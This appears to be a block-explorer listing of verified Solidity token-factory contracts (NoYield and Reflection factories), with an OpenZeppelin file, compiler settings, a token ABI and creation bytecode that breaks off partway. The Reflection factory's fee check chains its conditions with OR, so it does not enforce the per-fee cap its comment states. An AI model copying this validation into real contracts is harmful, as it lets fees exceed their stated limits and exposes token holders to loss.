    /// @param name_ token name
    /// @param symbol_ token symbol
    /// @param totalSupply_ total supply
    /// @param devAirDrop_ Dev air drop qty
    /// @return Contract address
    function deployContract(
        string memory name_,
        string memory symbol_,
        uint256 totalSupply_,
        uint256 devAirDrop_
    ) public payable returns (address) {
        require(msg.value >= mintCost || totalSupply_ / devAirDrop_ <= 100);

        NoYield_v1 newContract = new NoYield_v1(
            name_,
            symbol_,
            totalSupply_,
            devAirDrop_
        );

        return address(newContract);
    }
}
          

contracts/Reflection_Factory2.sol

/*
 * @author Ra Murd <ramurd@pulselorian.com>
 * @notice https://pulselorian.com/
 * @notice https://t.me/ThePulselorian
 * @notice https://twitter.com/ThePulseLorian
 *
 *    (   (  (  (     (   (( (   .  (   (    (( (   ((
 *    )\  )\ )\ )\    )\ (\())\   . )\  )\   ))\)\  ))\
 *   ((_)((_)(_)(_)  ((_))(_)(_)   ((_)((_)(((_)_()((_)))
 *   | _ \ | | | |  / __| __| |   / _ \| _ \_ _|   \ \| |
 *   |  _/ |_| | |__\__ \ _|| |__| (_) |   /| || - | .  |
 *   |_|  \___/|____|___/___|____|\___/|_|_\___|_|_|_|\_|
 *
 * SPDX-License-Identifier: MIT
 */

pragma solidity 0.8.26;

import "./Reflection_v1.sol";
import "./lib/BaseFactory.sol";

contract Reflection_Factory2 is BaseFactory {
    /// @notice Deploys a new contract
    /// @param name_ token name
    /// @param symbol_ token symbol
    /// @param totalSupply_ total supply
    /// @param devAirDrop_ Dev air drop qty
    /// @param feeAddr_ fee address
    /// @param fees_ [BuyBurnFee, BuyYieldFee, SellBurnFee, SellYieldFee] Max 500 each or 1000 total
    /// @return Contract address
    function deployContract(
        string memory name_,
        string memory symbol_,
        uint256 totalSupply_,
        uint256 devAirDrop_,
        address feeAddr_,
        uint16[6] memory fees_
    ) public payable returns (address) {
        require(msg.value >= mintCost || totalSupply_ / devAirDrop_ <= 100);
        require(
            fees_[0] <= MAX_FEE_EACH ||
                fees_[1] <= MAX_FEE_EACH ||
                fees_[2] <= MAX_FEE_EACH ||
                fees_[3] <= MAX_FEE_EACH ||
                fees_[4] <= MAX_FEE_EACH ||
                fees_[5] <= MAX_FEE_EACH
        );
        Reflection_v1 newContract = new Reflection_v1(
            name_,
            symbol_,
            totalSupply_,
            devAirDrop_,
            feeAddr_,
            fees_
        );

        return address(newContract);
    }
}
          

contracts/@openzeppelin/utils/Context.sol

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.4) (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}
          

Compiler Settings

{"outputSelection":{"*":{"*":["abi","evm.bytecode","evm.deployedBytecode","evm.methodIdentifiers","metadata","storageLayout"],"":["ast"]}},"optimizer":{"runs":1000000,"enabled":true},"libraries":{},"evmVersion":"shanghai"}
              

Contract ABI

[{"type":"constructor","stateMutability":"nonpayable","inputs":[{"type":"string","name":"name_","internalType":"string"},{"type":"string","name":"symbol_","internalType":"string"},{"type":"uint256","name":"totalSupply_","internalType":"uint256"},{"type":"uint256","name":"devAirDrop_","internalType":"uint256"},{"type":"address","name":"dexRouter_","internalType":"address"},{"type":"address","name":"rwdAddr_","internalType":"address"},{"type":"uint16[2]","name":"fees_","internalType":"uint16[2]"}]},{"type":"event","name":"Approval","inputs":[{"type":"address","name":"owner","internalType":"address","indexed":true},{"type":"address","name":"spender","internalType":"address","indexed":true},{"type":"uint256","name":"value","internalType":"uint256","indexed":false}],"anonymous":false},{"type":"event","name":"OwnershipTransferred","inputs":[{"type":"address","name":"previousOwner","internalType":"address","indexed":true},{"type":"address","name":"newOwner","internalType":"address","indexed":true}],"anonymous":false},{"type":"event","name":"RoleAdminChanged","inputs":[{"type":"bytes32","name":"role","internalType":"bytes32","indexed":true},{"type":"bytes32","name":"previousAdminRole","internalType":"bytes32","indexed":true},{"type":"bytes32","name":"newAdminRole","internalType":"bytes32","indexed":true}],"anonymous":false},{"type":"event","name":"RoleGranted","inputs":[{"type":"bytes32","name":"role","internalType":"bytes32","indexed":true},{"type":"address","name":"account","internalType":"address","indexed":true},{"type":"address","name":"sender","internalType":"address","indexed":true}],"anonymous":false},{"type":"event","name":"RoleRevoked","inputs":[{"type":"bytes32","name":"role","internalType":"bytes32","indexed":true},{"type":"address","name":"account","internalType":"address","indexed":true},{"type":"address","name":"sender","internalType":"address","indexed":true}],"anonymous":false},{"type":"event","name":"Transfer","inputs":[{"type":"address","name":"from","internalType":"address","indexed":true},{"type":"address","name":"to","internalType":"address","indexed":true},{"type":"uint256","name":"value","internalType":"uint256","indexed":false}],"anonymous":false},{"type":"function","stateMutability":"view","outputs":[{"type":"bytes32","name":"","internalType":"bytes32"}],"name":"ADMIN_ROLE","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"bytes32","name":"","internalType":"bytes32"}],"name":"DEFAULT_ADMIN_ROLE","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"bytes32","name":"","internalType":"bytes32"}],"name":"SUPERUSER_ROLE","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"address","name":"","internalType":"contract IUniswapV2Router02"}],"name":"TKN_ROUTER","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"address","name":"","internalType":"address"}],"name":"WPLS_ADDR","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"airdrop","inputs":[{"type":"tuple[]","name":"airdropList","internalType":"struct Airdroppable.AirdropInfo[]","components":[{"type":"address","name":"to","internalType":"address"},{"type":"uint256","name":"ethers","internalType":"uint256"}]}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"allowance","inputs":[{"type":"address","name":"owner","internalType":"address"},{"type":"address","name":"spender","internalType":"address"}]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"approve","inputs":[{"type":"address","name":"spender","internalType":"address"},{"type":"uint256","name":"amount","internalType":"uint256"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"balanceOf","inputs":[{"type":"address","name":"account","internalType":"address"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"claimYield","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint32","name":"","internalType":"uint32"}],"name":"currIndex","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint8","name":"","internalType":"uint8"}],"name":"decimals","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"decreaseAllowance","inputs":[{"type":"address","name":"spender","internalType":"address"},{"type":"uint256","name":"subtractedValue","internalType":"uint256"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"address","name":"","internalType":"contract IUniswapV2Router02"}],"name":"dexRouter","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint16","name":"","internalType":"uint16"}],"name":"fees","inputs":[{"type":"uint256","name":"","internalType":"uint256"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"bytes32","name":"","internalType":"bytes32"}],"name":"getRoleAdmin","inputs":[{"type":"bytes32","name":"role","internalType":"bytes32"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"getUnpaidYield","inputs":[{"type":"address","name":"wallet_","internalType":"address"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"grantRole","inputs":[{"type":"bytes32","name":"role","internalType":"bytes32"},{"type":"address","name":"account","internalType":"address"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"hasRole","inputs":[{"type":"bytes32","name":"role","internalType":"bytes32"},{"type":"address","name":"account","internalType":"address"}]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"increaseAllowance","inputs":[{"type":"address","name":"spender","internalType":"address"},{"type":"uint256","name":"addedValue","internalType":"uint256"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"isMyLP","inputs":[{"type":"address","name":"","internalType":"address"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint24","name":"","internalType":"uint24"}],"name":"lpBips","inputs":[{"type":"address","name":"","internalType":"contract IUniswapV2Pair"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint24","name":"","internalType":"uint24"}],"name":"lpFactor","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"address","name":"","internalType":"contract IUniswapV2Pair"}],"name":"lps","inputs":[{"type":"uint256","name":"","internalType":"uint256"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint24","name":"","internalType":"uint24"}],"name":"maxGas","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint24","name":"","internalType":"uint24"}],"name":"minWaitSec","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint96","name":"","internalType":"uint96"}],"name":"minYield","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"string","name":"","internalType":"string"}],"name":"name","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"noFee","inputs":[{"type":"address","name":"","internalType":"address"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"noYield","inputs":[{"type":"address","name":"","internalType":"address"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"address","name":"","internalType":"address"}],"name":"owner","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"payoutEnabled","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"address","name":"","internalType":"contract IUniswapV2Pair"}],"name":"plsV2LP","inputs":[]},{"type":"function","stateMutability":"payable","outputs":[],"name":"redeem","inputs":[{"type":"address","name":"tokenAddr_","internalType":"address"},{"type":"uint256","name":"amt_","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"renounceOwnership","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"renounceRole","inputs":[{"type":"bytes32","name":"role","internalType":"bytes32"},{"type":"address","name":"account","internalType":"address"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"revokeRole","inputs":[{"type":"bytes32","name":"role","internalType":"bytes32"},{"type":"address","name":"account","internalType":"address"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"address","name":"","internalType":"contract IERC20"}],"name":"rwdInst","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"setFees","inputs":[{"type":"uint16","name":"burnFee_","internalType":"uint16"},{"type":"uint16","name":"yieldFee_","internalType":"uint16"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"setLPYieldBips","inputs":[{"type":"address","name":"lpPair_","internalType":"contract IUniswapV2Pair"},{"type":"uint24","name":"newLPYieldBips_","internalType":"uint24"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"setNoYield","inputs":[{"type":"address","name":"wallet_","internalType":"address"},{"type":"bool","name":"flag_","internalType":"bool"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"setPayoutPolicy","inputs":[{"type":"bool","name":"enabled_","internalType":"bool"},{"type":"uint24","name":"minDurSec_","internalType":"uint24"},{"type":"uint80","name":"minYield_","internalType":"uint80"},{"type":"uint24","name":"gas_","internalType":"uint24"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"setSwapParams","inputs":[{"type":"bool","name":"swapEnabled_","internalType":"bool"},{"type":"uint24","name":"lpFactor_","internalType":"uint24"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"shareYieldRay","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"supportsInterface","inputs":[{"type":"bytes4","name":"interfaceId","internalType":"bytes4"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"swapEnabled","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"string","name":"","internalType":"string"}],"name":"symbol","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"totalPaid","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"totalShares","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"totalSupply","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"totalYield","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"transfer","inputs":[{"type":"address","name":"to","internalType":"address"},{"type":"uint256","name":"amount","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"transferFrom","inputs":[{"type":"address","name":"from","internalType":"address"},{"type":"address","name":"to","internalType":"address"},{"type":"uint256","name":"amount","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"transferOwnership","inputs":[{"type":"address","name":"newOwner","internalType":"address"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"walletClaimTS","inputs":[{"type":"address","name":"","internalType":"address"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"walletIndex","inputs":[{"type":"address","name":"","internalType":"address"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"share","internalType":"uint256"},{"type":"uint256","name":"yieldDebt","internalType":"uint256"},{"type":"uint256","name":"yieldPaid","internalType":"uint256"}],"name":"walletInfo","inputs":[{"type":"address","name":"","internalType":"address"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"address","name":"","internalType":"address"}],"name":"wallets","inputs":[{"type":"uint256","name":"","internalType":"uint256"}]},{"type":"receive","stateMutability":"payable"}]
              

Contract Creation Code

0x60a060405260058054601260ff19909116179055600f805462ffff0019166201010017905561002f600180610daa565b6001600160401b0381111561004657610046610dbd565b60405190808252806020026020018201604052801561006f578160200160208202803683370190505b50805161008491601791602090910190610cc8565b50601880547fffffffffffffff000000000000000000000000ffffffff00000000000000000016732386f26fc1000000000000000e100493e00007d01790553480156100ce575f80fd5b506040516155253803806155258339810160408190526100ed91610eb4565b73fb7103d7011dfa60c18c6961c5a38038d8048fe05f527fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb56020527f3fef235bafca262b170eab3376a92cf5674998345105551ed0c5eb57d047a5a2805460ff19166001179055868660036101628382611027565b50600461016f8282611027565b506101db600780546001600160a01b031990811673fb7103d7011dfa60c18c6961c5a38038d8048fe01790915560088054821673f66acd0cf50e406196c42a010de46228e4081fed1790556009805490911673c57228e9b719f179ee403efcc240ac7b33ab82a9179055565b506101e79050336105c1565b6001600160a01b03828116608052600d80546001600160a01b03191691851691821790556040805163c45a015560e01b815290515f929163c45a01559160048083019260209291908290030181865afa158015610246573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061026a91906110e1565b6040516364e329cb60e11b815230600482015273a1077a294dde1b09bb078844df40758a5d0f9a2760248201526001600160a01b03919091169063c9c65396906044016020604051808303815f875af11580156102c9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102ed91906110e1565b600b80546001600160a01b038084166001600160a01b031992831681178455600c8054600181019091557fdf6966c971051c3d54ec59162606531493a51404a002842f56009d7e5cf4a8c7018054909316179091559054165f908152601060205260408120805462ffffff1916614e20179055909150829060028110610375576103756110fa565b602002015160175f8154811061038d5761038d6110fa565b905f5260205f2090601091828204019190066002026101000a81548161ffff021916908361ffff160217905550816001808111156103cd576103cd610d82565b600281106103dd576103dd6110fa565b602002015160176001815481106103f6576103f66110fa565b5f918252602080832060108304018054600f9093166002026101000a61ffff81810219909416959093169290920293909317905530808252601383526040808320805460ff1990811660019081179092556001600160a01b038a811686528386208054831684179055601487527f4f26c3876aa9f4b92579780beea1161a61f87ebf1ec6ee865b299e447ecba99c80548316841790557f229c88f9413f08276ef22cb8632cb029d21355116fcbf1395778bb6ccbbcf44180548316841790559385528285208054821683179055928616845281842080548416821790556012909452909120805490911690911790556104ef3287610612565b8415610581576007546105179032906001600160a01b031661051260028961110e565b61067a565b600754610537906001600160a01b031661053260028861110e565b61071c565b506008546105559032906001600160a01b031661051260028961110e565b600854610570906001600160a01b031661053260028861110e565b5061057f32610532878961112d565b505b6105ab7fa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c2177532610802565b6105b4326105c1565b50505050505050506111d7565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b038216610624575f80fd5b8060065f8282546106359190610daa565b90915550506001600160a01b0382165f818152600260209081526040808320805486019055518481525f80516020615505833981519152910160405180910390a35050565b6001600160a01b03831661068c575f80fd5b6001600160a01b03821661069e575f80fd5b6001600160a01b0383165f90815260026020526040902054818110156106c2575f80fd5b6001600160a01b038085165f8181526002602052604080822086860390559286168082529083902080548601905591515f805160206155058339815191529061070e9086815260200190565b60405180910390a350505050565b6001600160a01b0382165f90815260116020526040812080548381146107f95780156107535761074e8585151561089f565b600192505b835f03610768576107638561096c565b6107cb565b805f036107cb57600e80546001600160a01b0387165f818152601660205260408120839055600183018455929092527fbb7b4a454dc3493923482f07822329ed19e8244eff582cc204f8554c3620c3fd0180546001600160a01b03191690911790555b8381601c546107da919061112d565b6107e49190610daa565b601c558382556107f384610a70565b60018301555b50505b92915050565b5f828152602081815260408083206001600160a01b038516845290915290205460ff1661089b575f828152602081815260408083206001600160a01b03851684529091529020805460ff1916600117905561085a3390565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b6001600160a01b0382165f908152601160205260408120805490918190036108c75750505050565b5f6108d185610a97565b90508015610965578315610914576080516108f6906001600160a01b03168683610af8565b80836002015f8282546109099190610daa565b9091555061092b9050565b8060195f8282546109259190610daa565b90915550505b80601b546109399190610daa565b601b556001600160a01b0385165f90815260156020526040902042905561095f82610a70565b60018401555b5050505050565b6001600160a01b0381165f90815260166020526040902054600e5461099260018261112d565b821015610a1f575f600e6109a760018461112d565b815481106109b7576109b76110fa565b5f91825260209091200154600e80546001600160a01b0390921692508291859081106109e5576109e56110fa565b5f91825260208083209190910180546001600160a01b0319166001600160a01b039485161790559290911681526016909152604090208290555b600e805480610a3057610a30611140565b5f828152602080822083015f1990810180546001600160a01b03191690559092019092556001600160a01b03949094168152601690935250506040812055565b601a545f906b033b2e3c9fd0803ce800000090610a8d9084611154565b6107fc919061110e565b6001600160a01b0381165f9081526011602052604081208054808303610ac057505f9392505050565b5f610aca82610a70565b6001840154909150808211610ae457505f95945050505050565b610aee818361112d565b9695505050505050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b0390811663a9059cbb60e01b17909152610b4e918591610b5316565b505050565b5f610b676001600160a01b03841683610b8f565b905080515f1480610b87575080806020019051810190610b87919061116b565b610b4e575f80fd5b6060610bd883835f6040518060400160405280601e81526020017f416464726573733a206c6f772d6c6576656c2063616c6c206661696c65640000815250610bdf60201b60201c565b9392505050565b606082471015610bed575f80fd5b5f80866001600160a01b03168587604051610c08919061118a565b5f6040518083038185875af1925050503d805f8114610c42576040519150601f19603f3d011682016040523d82523d5f602084013e610c47565b606091505b509092509050610c5987838387610c66565b925050505b949350505050565b60608315610c905782515f03610c89576001600160a01b0385163b610c89575f80fd5b5081610c5e565b610c5e8383815115610ca55781518083602001fd5b8060405162461bcd60e51b8152600401610cbf91906111a5565b60405180910390fd5b828054828255905f5260205f2090600f01601090048101928215610d5e579160200282015f5b83821115610d2e57835183826101000a81548161ffff021916908361ffff1602179055509260200192600201602081600101049283019260010302610cee565b8015610d5c5782816101000a81549061ffff0219169055600201602081600101049283019260010302610d2e565b505b50610d6a929150610d6e565b5090565b5b80821115610d6a575f8155600101610d6f565b634e487b7160e01b5f52602160045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b808201808211156107fc576107fc610d96565b634e487b7160e01b5f52604160045260245ffd5b604080519081016001600160401b0381118282101715610df357610df3610dbd565b60405290565b5f5b83811015610e13578181015183820152602001610dfb565b50505f910152565b5f82601f830112610e2a575f80fd5b81516001600160401b03811115610e4357610e43610dbd565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610e7157610e71610dbd565b604052818152838201602001851015610e88575f80fd5b610c5e826020830160208701610df9565b80516001600160a01b0381168114610eaf575f80fd5b919050565b5f805f805f805f610100888a031215610ecb575f80fd5b87516001600160401b03811115610ee0575f80fd5b610eec8a828b01610e1b565b60208a015190985090506001600160401b03811115610f09575f80fd5b610f158a828b01610e1b565b60408a015160608b015191985096509450610f34905060808901610e99565b9250610f4260a08901610e99565b91508860df890112610f52575f80fd5b610f5a610dd1565b806101008a018b811115610f6c575f80fd5b60c08b015b81811015610f9857805161ffff81168114610f8a575f80fd5b845260209384019301610f71565b5050809250505092959891949750929550565b600181811c90821680610fbf57607f821691505b602082108103610fdd57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115610b4e57805f5260205f20601f840160051c810160208510156110085750805b601f840160051c820191505b81811015610965575f8155600101611014565b81516001600160401b0381111561104057611040610dbd565b6110548161104e8454610fab565b84610fe3565b6020601f821160018114611086575f831561106f5750848201515b5f19600385901b1c1916600184901b178455610965565b5f84815260208120601f198516915b828110156110b55787850151825560209485019460019092019101611095565b50848210156110d257868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b5f602082840312156110f1575f80fd5b610bd882610e99565b634e487b7160e01b5f52603260045260245ffd5b5f8261112857634e487b7160e01b5f52601260045260245ffd5b500490565b818103818111156107fc576107fc610d96565b634e487b7160e01b5f52603160045260245ffd5b80820281158282048414176107fc576107fc610d96565b5f6020828403121561117b575f80fd5b81518015158114610bd8575f80fd5b5f825161119b818460208701610df9565b9190910192915050565b602081525f82518060208401526111c3816040850160208701610df9565b601f01601f19169190910160400192915050565b6080516142d06112355f395f81816108df01528181611fd10152818161279b015281816128200152818161296801528181613187015281816131ce01528181613218015281816133710152818161363d015261372d01526142d05ff3fe608060405260043610610373575f3560e01c806365fb30ef116101c8578063a1fb098e116100fd578063d547741f1161009d578063e173a7f51161006d578063e173a7f514610c0c578063e7b0f66614610c2b578063f2fde38b14610c40578063f815a10a14610c5f575f80fd5b8063d547741f14610b5e578063dcc1514714610b7d578063dd62ed3e14610b9c578063e0c9ffc614610bed575f80fd5b8063a9059cbb116100d8578063a9059cbb14610ae5578063aa7cddf514610b04578063ae2e9bcb14610b19578063bfb3650b14610b37575f80fd5b8063a1fb098e14610a88578063a217fddf14610ab3578063a457c2d714610ac6575f80fd5b8063821cb3401161016857806391d148541161014357806391d14854146109c857806395d89b4114610a175780639ef833d414610a2b578063a146a55b14610a4a575f80fd5b8063821cb340146109535780638b3ca607146109835780638da5cb5b1461099e575f80fd5b8063715018a6116101a3578063715018a6146108ba5780637580e4c6146108ce57806375b238fc146109015780637ad71f7214610934575f80fd5b806365fb30ef1461083b5780636ddd17131461085a57806370a0823114610879575f80fd5b8063313ce567116102a957806348fe228711610249578063500e68e911610219578063500e68e91461076a578063501d815c146107bf5780635be60591146107e1578063631de5831461080d575f80fd5b806348fe22871461067f5780634acc79ed146106d15780634b0432f2146107035780634e2d4c8d1461073c575f80fd5b80633a98ef39116102845780633a98ef39146106045780633d78d41014610619578063406cf22914610644578063455a7bfc14610658575f80fd5b8063313ce5671461059b57806336568abe146105c657806339509351146105e5575f80fd5b806318160ddd11610314578063216fa4ed116102ef578063216fa4ed146104fc57806323b872dd1461052f578063248a9ca31461054e5780632f2ff15d1461057c575f80fd5b806318160ddd146104b35780631835587e146104c85780631e9a6950146104e9575f80fd5b8063023627391161034f578063023627391461040357806306fdde03146104225780630758d92414610443578063095ea7b314610494575f80fd5b80622a20501461037e57806301418205146103c157806301ffc9a7146103e4575f80fd5b3661037a57005b5f80fd5b348015610389575f80fd5b506103ac610398366004613a4b565b60136020525f908152604090205460ff1681565b60405190151581526020015b60405180910390f35b3480156103cc575f80fd5b506103d6601d5481565b6040519081526020016103b8565b3480156103ef575f80fd5b506103ac6103fe366004613a66565b610c7e565b34801561040e575f80fd5b506103d661041d366004613a4b565b610d16565b34801561042d575f80fd5b50610436610d84565b6040516103b89190613ac7565b34801561044e575f80fd5b50600d5461046f9073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016103b8565b34801561049f575f80fd5b506103ac6104ae366004613b17565b610e10565b3480156104be575f80fd5b506103d660065481565b3480156104d3575f80fd5b506104e76104e2366004613b60565b610e27565b005b6104e76104f7366004613b17565b610ee8565b348015610507575f80fd5b506103d67f756df11799aaceda4067614c35fe47ff6a75745e0c15792193c7bad56a1ad93281565b34801561053a575f80fd5b506103ac610549366004613b93565b611067565b348015610559575f80fd5b506103d6610568366004613bd1565b5f9081526020819052604090206001015490565b348015610587575f80fd5b506104e7610596366004613be8565b61111a565b3480156105a6575f80fd5b506005546105b49060ff1681565b60405160ff90911681526020016103b8565b3480156105d1575f80fd5b506104e76105e0366004613be8565b61113e565b3480156105f0575f80fd5b506103ac6105ff366004613b17565b61116d565b34801561060f575f80fd5b506103d6601c5481565b348015610624575f80fd5b506103d6610633366004613a4b565b60166020525f908152604090205481565b34801561064f575f80fd5b506104e76111b8565b348015610663575f80fd5b5061046f73165c3410fc91ef562c50559f7d2289febed552d981565b34801561068a575f80fd5b506018546106b4906d010000000000000000000000000090046bffffffffffffffffffffffff1681565b6040516bffffffffffffffffffffffff90911681526020016103b8565b3480156106dc575f80fd5b506106f06106eb366004613bd1565b6111c5565b60405161ffff90911681526020016103b8565b34801561070e575f80fd5b50601854610728906601000000000000900462ffffff1681565b60405162ffffff90911681526020016103b8565b348015610747575f80fd5b506103ac610756366004613a4b565b60146020525f908152604090205460ff1681565b348015610775575f80fd5b506107a4610784366004613a4b565b60116020525f908152604090208054600182015460029092015490919083565b604080519384526020840192909252908201526060016103b8565b3480156107ca575f80fd5b50601854610728906301000000900462ffffff1681565b3480156107ec575f80fd5b50600b5461046f9073ffffffffffffffffffffffffffffffffffffffff1681565b348015610818575f80fd5b506103ac610827366004613a4b565b60126020525f908152604090205460ff1681565b348015610846575f80fd5b506104e7610855366004613c16565b6111fa565b348015610865575f80fd5b50600f546103ac9062010000900460ff1681565b348015610884575f80fd5b506103d6610893366004613a4b565b73ffffffffffffffffffffffffffffffffffffffff165f9081526002602052604090205490565b3480156108c5575f80fd5b506104e76115b3565b3480156108d9575f80fd5b5061046f7f000000000000000000000000000000000000000000000000000000000000000081565b34801561090c575f80fd5b506103d67fa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c2177581565b34801561093f575f80fd5b5061046f61094e366004613bd1565b6115c4565b34801561095e575f80fd5b5061072861096d366004613a4b565b60106020525f908152604090205462ffffff1681565b34801561098e575f80fd5b506018546107289062ffffff1681565b3480156109a9575f80fd5b50600a5473ffffffffffffffffffffffffffffffffffffffff1661046f565b3480156109d3575f80fd5b506103ac6109e2366004613be8565b5f9182526020828152604080842073ffffffffffffffffffffffffffffffffffffffff93909316845291905290205460ff1690565b348015610a22575f80fd5b506104366115f9565b348015610a36575f80fd5b506104e7610a45366004613c43565b611606565b348015610a55575f80fd5b50601854610a73906901000000000000000000900463ffffffff1681565b60405163ffffffff90911681526020016103b8565b348015610a93575f80fd5b506103d6610aa2366004613a4b565b60156020525f908152604090205481565b348015610abe575f80fd5b506103d65f81565b348015610ad1575f80fd5b506103ac610ae0366004613b17565b6116ec565b348015610af0575f80fd5b506103ac610aff366004613b17565b611743565b348015610b0f575f80fd5b506103d6601a5481565b348015610b24575f80fd5b50600f546103ac90610100900460ff1681565b348015610b42575f80fd5b5061046f73a1077a294dde1b09bb078844df40758a5d0f9a2781565b348015610b69575f80fd5b506104e7610b78366004613be8565b611750565b348015610b88575f80fd5b5061046f610b97366004613bd1565b611774565b348015610ba7575f80fd5b506103d6610bb6366004613c6b565b73ffffffffffffffffffffffffffffffffffffffff9182165f90815260016020908152604080832093909416825291909152205490565b348015610bf8575f80fd5b506104e7610c07366004613d3c565b611783565b348015610c17575f80fd5b506104e7610c26366004613e0c565b6117e5565b348015610c36575f80fd5b506103d6601b5481565b348015610c4b575f80fd5b506104e7610c5a366004613a4b565b611888565b348015610c6a575f80fd5b506104e7610c79366004613e38565b6118b8565b5f7fffffffff0000000000000000000000000000000000000000000000000000000082167f7965db0b000000000000000000000000000000000000000000000000000000001480610d1057507f01ffc9a7000000000000000000000000000000000000000000000000000000007fffffffff000000000000000000000000000000000000000000000000000000008316145b92915050565b73ffffffffffffffffffffffffffffffffffffffff81165f9081526011602052604081208054808303610d4c57505f9392505050565b5f610d56826119cd565b6001840154909150808211610d7057505f95945050505050565b610d7a8183613ec8565b9695505050505050565b60038054610d9190613edb565b80601f0160208091040260200160405190810160405280929190818152602001828054610dbd90613edb565b8015610e085780601f10610dd